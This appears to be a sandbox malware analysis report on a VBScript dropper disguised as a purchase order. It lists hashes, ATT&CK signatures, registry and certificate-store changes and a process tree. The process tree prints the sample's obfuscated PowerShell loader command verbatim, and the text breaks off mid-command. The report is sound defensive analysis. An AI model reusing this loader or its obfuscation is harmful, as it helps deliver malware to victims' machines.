0cfb6932e490ea78f85fcd57fc9bda95f274867dfd0dbcb3515bb1f7009626b4

General

Target

PO-04375KTG.vbs
Size

313KB
MD5

92cf45fd34496ac41434463f0d02f4a0
SHA1

d5027385be35f4ac68b622aa993b9a568ac16ac4
SHA256

0cfb6932e490ea78f85fcd57fc9bda95f274867dfd0dbcb3515bb1f7009626b4
SHA512

80597f875019d1fc4ff7999de22c355309bc15cde17195ada4bc4be5501240c84a82e8e657446684a8ac4de3b26af5e04121abe6cb98fdcb4f610163fb6f176b
SSDEEP

6144:x+YqqUnWShek49zVzVi+9/Pwy/4qXeV0b6bEWAChB/BpKhp69:50Tl43zViQFeuriB/B2U

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	WScript.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3780	powershell.exe
3780	powershell.exe
4492	powershell.exe
4492	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3780	powershell.exe
Token: SeDebugPrivilege	4492	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3404 wrote to memory of 3620	3404	WScript.exe	82
PID 3404 wrote to memory of 3620	3404	WScript.exe	82
PID 3404 wrote to memory of 3780	3404	WScript.exe	84
PID 3404 wrote to memory of 3780	3404	WScript.exe	84
PID 3780 wrote to memory of 4492	3780	powershell.exe	88
PID 3780 wrote to memory of 4492	3780	powershell.exe	88
PID 3780 wrote to memory of 4492	3780	powershell.exe	88

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PO-04375KTG.vbs"
1⤵
- Checks computer location settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:3404
- C:\Windows\System32\cmd.exe
  cmd /c echo REG_SZ
  2⤵
  PID:3620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Debuteres = """FemFBevuOpdnSnucZontWaliKoloOvenPen FolHSfyTradBVes Pyr{Bil Tre Fon Ela TenprecaWelrGrlaGenmUnu(Sla[GesSProtRewrChiiScinElegPro]Ira`$FarLHaroHoraVejtRrfhBarsAlloStrmlyseIcelGeyyCer)Mar;Gif Don Unc Dts Afv`$UnsSvibtCatamisfScooDryrAfldgru Usk=Alk HusNChieRadwLea-BrdOstrbUnijDknePricEnetCut NabbMotyThetFraeSur[Kit]Fli Coe(Den`$FlaLVioodefaHystDishSpesDryoKlamOmseBralResyLab.OzzLDeseJornTilgVeltForhSta Hyp/Lss Str2Mig)Ele;Sub kri Bic web IodFHaroLifrFar(Att`$bagSIndpGuteSpocForidecaSkalAmfaCurnDesvbeseIntnMordAppeDuelAspsUnoeQuenSpasUhe=Tel0Yaw;Afl Pri`$EufSCompTimeDiscGriiuguaLielGiraSkinUndvSkoeClanmildUndeHomlEncsGeleelonAsisPer Uso-LevlAfgtAft Sca`$harLParoDagajaatFlehDavsFiloPdamKareKvalHotyGen.HeiLForeUndnTragEpitReshunp;Dec Ned`$AbjSReiplageMiscAliiPyraCiglProaSagnWhivTaleGrunSqudStaePitlFinsRuseRgenDrissta+Enc=Enc2Sha)Exo{Blk Jom Bih unr Abs Hop Apa Slu Udm`$CamSBretHypaTopfTreoTrorUnvdLud[Met`$CepSsnipraleBodcpreiAnfaAstlDemaTynnSpovexceBainFitdTupeSkvlBrasTekeFemnUansKat/Ski2Sel]Buc for=Reg Imm[RowcSamoIndnUnivChaeFilrKoktSki]Ski:Fri:OveTForoManBAfryscatGibeHyp(Exc`$KonLMedoSviadistProhSepsHypoKlimSkieMonlTilyter.IntSSmeuTakbTigsFlatFjorYdeiFranKargTve(Lnl`$ThySInfpdebeAnucBesiMucaSkolLimaBkknschvMuleDisnSekdGeneSmilNonsAnaeLomnTalsGaa,Til Ryg2Sch)Aut,ski Ste1nea6Sig)Non;Pig kil Fol`$pogSTawtgroaEnzfTomoIllrSytdEne[Slu`$PerSStapkareFracGariStraAntlPeraSpinOvevTipeGarnTeldDefeSellKonsErheBlonEsosNer/Sce2Bes]Fio Mar=den Iso(Jen`$IntSShetForaTomfAmeoArvrGlodLut[Rea`$SofSMorpSpaeFiscIhuiRidaViclAnkaVocnUnivReaeKnsnRugdCaredislJarsGreeOoznTinsAng/Fol2Tmm]Baa ram-TitbStixBrdoklarTap Lat2Amt2Deb)Con;Cod Bus Ret Wat skm}Ant Lac[somSAbsthumrDraiMarnslaglov]Ing[WeeSMoryUndsKaetBdeeFormTim.FleTTiseBogxStetHaa.IleEovenBoocMacosandPrdiSalnSikgBah]tje:Loh:GarARygSAtaCLolIFaaIfun.LanGDomeUnptAppSDactRifrUndiWhenTesgSti(Iht`$NonSkystStraFenfPsaoVosrPladTel)Tri;Top}Mon`$MilFarbuSmynDytkThesEsk0Sko=supHTraTUbeBLiv Sto'Sem4Vap5Pre6ForFAlt6Akk5Rid6Elv2Eyv7Din3Lan7SupBAmm3For8trs7Udp2Tai7EtvASal7TagAUnd'All;Sub`$WavFTjeuHrfnhaykDessWis1Iso=IntHTilTAstBGle Ina'Mis5FinBCat7aagFKlu7Zon5Sub6Hal4Gas7bor9Fau6Pre5bea7Ant9roa7Man0Col6Bes2Fem3Fan8Lan4Laz1Fid7MenFPen7Ani8Tor2bry5Dis2Bal4Bas3Pro8Lev4Dal3For7Spe8Pur6Stt5Gan7Mal7Ska7Pja0Ukr7Kin3Ove5Whi8Sca7Sbr7Nds6Cir2Sym7DisFOut6Pro0Mam7Cud3Jag5FagBSca7Pre3Fus6eft2Asp7SerEAnn7Ste9Her7Upr2Ero6Unt5Ant'For;His`$IndFRapuDognStjkTrusUds2Are=ChrHGasTKlaBUnw For'Kom5Svu1Wap7Baa3Pol6Smr2Kol4Hve6Nsk6Top4Par7Maa9Rer7Pac5Tig5Rec7Stu7Ste2Fir7Ove2Fab6Soc4Plu7Bou3Ind6Sus5Rid6Van5Bar'Fds;Und`$HydFKoouOutnEntkTrisSol3Hin=BivHutiTSynBTon For'For4Rec5Omg6PonFfac6Tra5Add6Nar2Ast7Han3Jor7TelBSur3Tra8bab4Rec4Ser6Vat3Ess7Dia8Sta6Cam2Dar7indFUnf7CosBBom7Skr3Par3Anr8Val5AfvFOmg7Uds8Uds6Bli2Inf7Afs3Sci6Spi4Upl7Inc9Fry6und6Dre4slu5obo7Brs3Mon6Lge4Spi6Ste0Imm7DysFUnd7Ugo5Doy7Res3Ski6Une5Res3Eld8Rdd5CenETrs7Ass7Kod7Man8Yar7Acc2Eks7PerAWoo7Ful3sto4Amn4Cac7Ald3Loz7Doe0Sti'Kel;Bog`$PasFDehuMasnimmkspgsMin4Reg=BioHImpTPluBSan Kbe'Hus6Ung5ova6Pro2Unp6Red4Unp7RecFKoc7Loa8Com7til1Nes'Bok;Spo`$IndFMunuMelnStakLucsCel5Per=NonHVapTMasBMav Mic'Trs5Ind1Lip7Svi3Nov6Phy2Kia5UnsBCir7Bev9Cha7Fog2Kol6Min3Wey7AntABec7fle3For5SmoEStr7Hjl7Hoo7Shr8Fel7Ult2Med7PriAKor7Fli3For'Afs;Bes`$BenFleuuDisnUnckPadsKil6Kon=EnsHGolTUnfBRem Mes'Twi4Bit4Sub4Unb2Tor4trf5Nap6fol6Cos7slv3Imm7Ufo5Sal7PorFPre7Blo7Unw7MegAMil5Mou8Uri7Ont7Inu7EnsBBom7fun3Ben3SeiAPro3Str6Cry5garERef7NonFFot7Mas2Bra7Ung3Rid5Her4Del6BilFAnd4Elf5For7GruFAkk7fru1Pja3SkaAFor3Kon6God4Pro6Dig6Hoo3Ple7Bre4Udk7bagAWho7BedFRub7Cor5Lnn'Kok;Sto`$MicFBlauIgenKirkRegsFil7Uns=PinHSalTAplBSub Bra'Iag4Smi4Ado6Hyp3ily7Srt8Rep6Gen2Peo7HolFOps7SteBTur7Esk3Mis3SkuADer3Emb6Til5sidBUro7Swi7Kno7Fur8Pyo7For7Def7Poo1Add7Dun3Bog7oct2yaj'duo;Ste`$CorFRemuArinForkSocsMah8Orb=KerHEndTUspBTeg Kas'myo4Coa4Kan7Ten3kar7tre0Jan7TidARes7Mul3Che7Ber5byt6fri2Dis7Mil3Afk7Bor2Wid5For2Sta7Gro3Sik7BefAFor7paa3Har7Fug1Hoo7Pry7Inv6Pro2Unc7Arc3Hun'Mar;Pat`$VseFSpouToanSofkDvrsSix9Bar=CauHLnnTWarBTif Kmp'Mat5RegFKri7rid8Non5AdmBKli7Uni3Man7TerBKon7Kry9Cle6Ana4Rap6SniFLet5craBTra7Fil9cel7abd2Det6Fin3uno7NivARek7lud3Ren'Kun;Blr`$BysUUneemerrPrekInseFolnRindPereSkalTasiStogGldtApo0Sny=ShaHIllTSkaBNon Non'Ind5AffBStr6UnaFStv5Sip2Cat7Bil3Luk7fejAnon7Unp3Pre7Amb1Und7Emp7Bom6Kab2Eks7Pow3Fal4Lop2Pla6GraFRac6Psy6Ath7Uds3Ste'Lik;Brn`$EnsUFrgeAgerUnskHypeGirnKnodFljeShilHeriPrigcontAff1Bre=TapHKreTKitBCha Sph'Sem5Col5eng7MosADra7Tab7Hea6Ind5Cim6Pel5Sem3KalAUnd3Pol6Fla4Tri6Ibe6Sup3stv7Han4Cor7GamARad7BepFVid7Pla5Una3ResAPor3Nse6Chl4Apa5Rec7Chr3Sou7sor7gre7cheADem7Mus3Vin7haa2Atm3RoiASha3tag6Mod5Aut7Hyp7Fll8Rso6Nat5Ace7FdrFGem5Kon5Fys7PanAwhe7Qrs7Gui6Pin5Ent6Ank5Kur3OmgARec3Pan6Mil5Ele7Dis6Lin3Rev6Rou2Gru7Daa9nor5Exh5Kur7UndATon7Exh7Ber6Met5Wat6For5Sem'Dep;Fru`$HepUVoleForrSpekHeaeSpknTatdDaleKhalGymiTrigAfrtUns2Pel=KreHSpoTSunBAss Aca'Jas5SviFTri7Jul8ove6Tul0Kol7Hel9Fir7fnoDSau7Out3Dec'bry;Ove`$OpvUSkreTigrGrakFluefrenIncdLigeNewlReaiUnwgMaytFlg3Ban=intHTabTDisBApt Pro'Tam4Mis6Sub6Buf3Sko7Epi4pan7SveATid7AutFUns7Imp5whu3FakAbli3Gut6ryt5FodESmr7FlaFSki7Sel2Ege7Str3Tom5Pos4Cou6CatFSvm4Kry5Pro7IraFokt7Tha1net3GlyASlu3Dub6Par5Syn8Man7Lit3Tus6Old1Usd4afg5Sub7VriATri7Gel9Cop6Ani2Sma3sprAWad3Udl6Csa4Gri0Adl7bumFOrd6Erm4Rek6aph2Byg6Ran3Mid7Tre7Skr7XerAAfr'Alb;Off`$KerUSupeAntrSupkUnmeUdlnVlsdHoweAdilPyjiShegHuatTra4Tid=LreHLatTForBave Dyb'Kra4Tot0Bet7MizFrke6Imp4Lin6Dan2Bdd6Fru3Unp7Sty7Emi7AfpAKol5Rep7For7GreATil7MotAmao7ink9Ski7Rej5Eks'bal;Bur`$subUPvteEnkrAstkLseeIndnCondchlePrilTraiTragKratino5rec=DecHfriTKarBLob Ind'Try7Pup8Cap6An 2Ang7Gra2Und7MilAIno7AftAalo'Kil;Gyr`$DyrUTumeKulrDdskKeneInqnStodArceOddlFraiCregBettVal6Teo=FakHKonTFasBSma Dur'Epi5Sta8sto6kop2Reg4Ess6Bun6fod4dat7For9Jun6Cro2Klk7Ant3Cam7Tro5Woe6Pol2Sla4Ini0Tom7UnpFfje6Udp4Mis6Ess2Bas6Fle3Nod7Cra7Gen7UrbADis5SupBGra7Cru3obf7RegBNon7Tal9Cal6Sve4unn6SidFCul'Unr;Ang`$RelUMareFierUankAareComnLendAlleHanlPlaiUdkgBartSrm7Pol=PenHPreTAnnBImp Non'Pho5UsuFVic5Red3Med4TriEMus'Hyp;Mat`$EnrUCigeGrorPebkPaleMulnHaldReleMillMeniGengTiltSul8Udb=AnfHSpiTbevBAmi Mag'Hek4OliAKot'Leg;terfDejuOrtnMaacTimtCariWatoCurnKon RecfUnrkTimplam Hav{cerPsilaFalrbraaPremFus Uns(Abd`$EksKOtoiUdglNonoUndwLunajantAnctOin,Git Lin`$SamBStoaStrsafkimadlUdticircSuraReitForeLse)Spo Mon hex Can Non Ext;Leo`$SolSafsaBjenProdForsFolyRemnCrelHasiNongAfvgSporForeDisrTea0Sma Sca=KarHUnaTKudBVin Ham'Rek3Dis2Str4Rom3mul6Flu5Fas7StaBFor7KntBFie7Att3Pas7ForAInt7DagFGim7Hus1Ewe7ups3Car3Kul6Ite2PjaBMyr3Col6Uns3PerERul4sohDSti5Lin7Rom6Ane6udy6Van6Uni5Per2Man7ilo9Cog7TroBJix7Jer7Rei7criFNon7Svr8Wan4ArgBLie2CopCWhe2epaCang5Ant5Hjl6Spe3Ove6Nie4Can6Dis4Oak7Ski3Fri7Del8Si 6Ove2Aby5Eul2Dri7Muf9Maa7AfsBBru7Inc7ind7expFStr7Ren8Gae3Mac8Bro5Sub1Naa7Sou3Met6Com2kli5Tid7Han6Bas5Std6Bro5Fis7Kmn3Rdh7OusBDer7Dir4Dof7TacATil7SquFKal7Xen3Int6Med5For3MulEBly3HesFGeo3Ste6Har6OveASol3Bra6Fis4Omg1Ple7EinEUdb7Far3Hau6Paa4Bev7Nem3Alc3AmmBosm5Frs9Spi7Bru4Beg7CouCAbe7avo3Dov7Com5Lan6Uns2Mak3Ser6for6AfsDEdi3Hje6stj3Mar2Mac4Bru9Und3Bef8Med5Spe1Kon7SieALit7Reg9Ent7Thr4Isl7Gra7Rec7asiAVel5Str7Lut6Ved5Ver6Wis5Tor7Sur3Dsl7MonBFli7Bat4Vil7JebAMac6TruFGiv5Rel5Cro7Ube7Fri7Jho5For7SudEFor7Vel3Tha3kon6For3OtoBDau5Reb7Haa7Uno8Rin7pan2Mic3gon6Ars3Gen2Una4Tnk9Nor3Pul8Dkk5SisAMyr7Trs9Tst7udh5Lev7Asc7Opp6Dep2Gla7RoeFRap7sor9kro7Pra8Sys3Anl8ann4Paa5Afs6Bra6Myt7ReaAfar7SysFPri6Chi2Eve3StaERaa3Spi2Par4Aca3Pik7Hie3Res6Mhe4Rem7KnaDNor7Dis3Obs7bel8For7axi2Ber7Pre3Pol7flaAOve7DraFTry7Fin1For6Pos2Civ2FriECod3EksFBev4LovDmer3UdaBIlp2Ess7Kla4KliBTub3Dka8ard5Fur3Hig6des7Viu6Int3Woo7Non7Lif7PulAFir6Opm5Ret3ModEHou3Pla2vot5Hen0Amu6Ant3Mun7unf8Sne7StaDCut6Obs5Sca2Pre6Kry3AutFDag3Pal6Lic6LgmBAll3MusFKva3Syn8Mot5Unf1Okt7Rin3Ope6Unp2Car4mus2Whi6OutFHju6Ove6car7Abu3Tra3FyrENeo3Vot2Str5Uns0Ann6Sec3Udb7Pro8Bes7InqDspo6Fra5rek2Lew7Lan3CacFGri'Bal;Aut&Udp(Zoo`$tupUPtyeMorrUnjkHaleCosnMusdReneLepltheiKnogTrdtDev7Mar)Uds Dow`$GnoSFemaSwanAlmdReisFloyDifnOvelShriAuggatogAntrBatePenrBlt0Wir;Non`$ImpSAntapronAktdWorsCodyfornfrylCymiDengDengkarrReaeFibrStr5Blo Kam=Sni KriHbriTForBZar Udh'Inf3sup2Sli4fal6Scl6Dmo4Gru7Kal3Sta7Rim0Per7Sta9Ops6Udk4Haa7Vse1Ken7BusFBnn6Mrt0Bss7Tor3Hir7Out8mem3Ark6Aab2bylBFor3Bog6Pla3Pik2Rut4Bru3Sup6Kri5Mar7SanBOrk7SkaBLaa7Vas3Pho7PedAsav7UegFMis7Dam1Dia7Par3Bon3Vit8Far5Con1rev7Flj3Par6Pro2Ska5stoBPri7Flk3Occ6Rec2Att7VriESti7Tmm9Kom7Gro2Unn3StjEInt3Dip2Kos5vic0Cel6def3Non7Ill8pre7ForDSem6Nai5Uro2Ran4Tap3TorAKon3Fer6Bru4TraDGyl4Sel2Pat6BorFEra6Unl6Afe7Iod3Lli4MamDPro4MilBsne4ForBnec3Clu6Dis5Han6fer3SjlEObe3The2Art5bar0Sho6Asc3Aer7Tit8Nut7PerDTem6ich5Sym2mod5Doe3AurARel3Tro6Ret3Nou2Sup5Sne0Acq6Inj3Pre7Ang8Aar7RoiDMas6Bag5Rag2Wal2Eth3SimFRud3MetFGau'oms;Ove&Bew(Sip`$OveUChreSpyrKrekBaleTelnBrudFareUnplForiDomgTritart7Dal)Rea Kao`$AdhSInhaFornquadRinsMagyHaanBrolMoniGrigDodgEnnrWefeDesrBla5ren;Til`$ForSAniaAffnSendKrosHaeyOpenHollJugiSafgPlugSubrGaleProrStr1Kwm Sur=Coo KnuHSkrTHypBOpg 